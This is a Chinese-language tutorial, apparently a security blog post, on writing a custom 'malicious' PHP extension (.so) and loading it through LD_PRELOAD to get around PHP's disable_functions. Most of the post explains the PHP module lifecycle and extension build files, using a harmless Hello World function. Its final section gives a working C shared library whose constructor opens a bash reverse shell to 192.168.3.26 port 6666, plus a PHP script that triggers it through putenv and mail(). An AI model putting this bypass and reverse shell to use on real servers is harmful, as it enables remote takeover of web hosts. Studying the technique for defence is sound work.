php自定义恶意扩展so编写过程
0x01前言
LD_PRELOAD
是linux的环境变量,可以设置一个指定库的路径,常被用来Passby Disable_functions,本文将从php扩展和php内核的交互来解释php编写自定义扩展的整个过程
0x02前置知识
php的生命周期有五个阶段:
1、模块初始化
此阶段主要注册php和zend引擎的扩展,还有将常量注册到EG(zend_constants),全局变量注册到CG(auto_globals),同时掉用php扩展的PHP_MINT()
2、请求初始化
初始化php脚本的基本执行环境,调用php扩展的PHP_RINT()
3、执行php脚本
将php编译成opcode码,然后再用zend引擎执行
编译过程流程图:
4、请求结束
清理EG(symbol_table),销毁全局变量PG(http_globals),调用析构函数和各种扩展的RSHUTDOWN函数,关闭编译器和执行器,关闭内存管理器
5、模块关闭
清理持久化符号标,调用各扩展的MSHUTDOWN,清理扩展globals,注销扩展提供的函数
php整个扩展的加载就在模块初始化阶段,而整个扩展的加载过程又有以下步骤
-
使用dlopen()函数来打开so库文件,并返回句柄给dlsym()
-
dlsym()函数来获取动态库中
get_module()
函数地址 -
调用
get_module()
函数来获取扩展的zend_module_entry
结构 -
zend api版本号检查,看是否是当前php版本下适用的扩展
-
注册扩展,将扩展添加到
module_registry
中 -
如果扩展有内部函数,将内部函数注册到EG(function_table)中
0x03扩展编写
1、编写config.m4
Config.m4是扩展的编译配置文件,它被include到configure.in文件中,最终被autoconf编译为configure。
以下是一个简单的扩展配置模版:
PHP_ARG_ENABLE(扩展名称, for mytest support,
Make sure that the comment is aligned:
[ --with-扩展名称 Include xxx support])
if test "$PHP_扩展名称" != "no"; then
PHP_NEW_EXTENSION(扩展名称, 源码文件列表, $ext_shared,, -DZEND_ENABLE_STATIC_TSRMLS_CACHE=1)
fi
下面是我自己实验的config.m4文件:
PHP_ARG_ENABLE(php_knight, Whether to enable the KnightPHP extension, [ --enable-knight-php Enable KnightPHP])//扩展名可以和函数名不同
if test "$PHP_KNIGHT" != "no"; then
PHP_NEW_EXTENSION(php_knight, php_knight.c, $ext_shared)
fi
2、编写.h文件
php_knight.h
// 定义模块常量
#define PHP_KNIGHT_EXTNAME "php_knight"
#define PHP_KNIGHT_VERSION "0.0.1"
// 声明模块的函数功能
PHP_FUNCTION(knight_php);//此处是你想要生成的扩展函数
3、编写.c文件
Php_knight.c
//包含php.h文件
#include <php.h>
// 包含扩展文件
#include "php_knight.h"
// 将函数注册到php中,让php知道本模块中所包含的函数
zend_function_entry knight_php_functions[] = { //此处要是 函数名_functions[]
PHP_FE(knight_php, NULL)//此处为函数名
{NULL, NULL, NULL}
};
// 关于整个模块的详细信息
zend_module_entry knight_php_module_entry = //结构体的格式是 函数名_module_entry
STANDARD_MODULE_HEADER,//宏统一设置
PHP_KNIGHT_EXTNAME,//扩展名称
knight_php_functions,//扩展的内部函数
NULL,
NULL,
NULL,
NULL,
NULL,
PHP_KNIGHT_VERSION,//扩展版本
STANDARD_MODULE_PROPERTIES//宏统一设置
};
// 提供一个接口给php来获取zend_module_entry
ZEND_GET_MODULE(knight_php)
//下面就是函数的编写了,可以使用c语言来执行RCE了
PHP_FUNCTION(knight_php) {
php_printf("Hello World! \n");
}
4、编译
先安装php-dev,而后安装phpize,装好后直接在当前目录执行phpize
phpize主要是操作复杂的autoconf/automake/autoheader/autolocal等系列命令,用于生成configure文件
然后执行./configure --enable-php-knight
提供给configure.in获取配置,生成Makefile
接着就是make
和make install
,在执行完这些命令后,就会在目录下生成一个php_knight.so文件了。
0x04使用恶意扩展
编写php代码
<?php
putenv("LD_PRELOAD=./php_knight.so");
knight_php();
这样通过访问浏览器,就会返回Hello World!
了
0x05 其他方法
还有一个使用很多的方法
Knight.c
#include<stdlib.h>
#include<string.h>
#include<stdio.h>
__attribute__((__constructor__))//在main()函数之前执行
static void test()
{
char cmd[0x100];
strcpy(cmd,"bash -i >& /dev/tcp/192.168.3.26/6666 0>&1");
system(cmd);
}
然后使用命令gcc knight.c -fPIC -shared -o knight.so
就可以产生so扩展文件了
knight.php
<?php
putenv("LD_PRELOAD=./knight.so");
mail('','','','');//调用扩展
?>
就可以动态加载自己的反弹shell命令了。
此方法相比上面一种方法的局限性就是mail()函数没有被禁用
0x06参考来源
https://blog.csdn.net/hguisu/article/details/7377153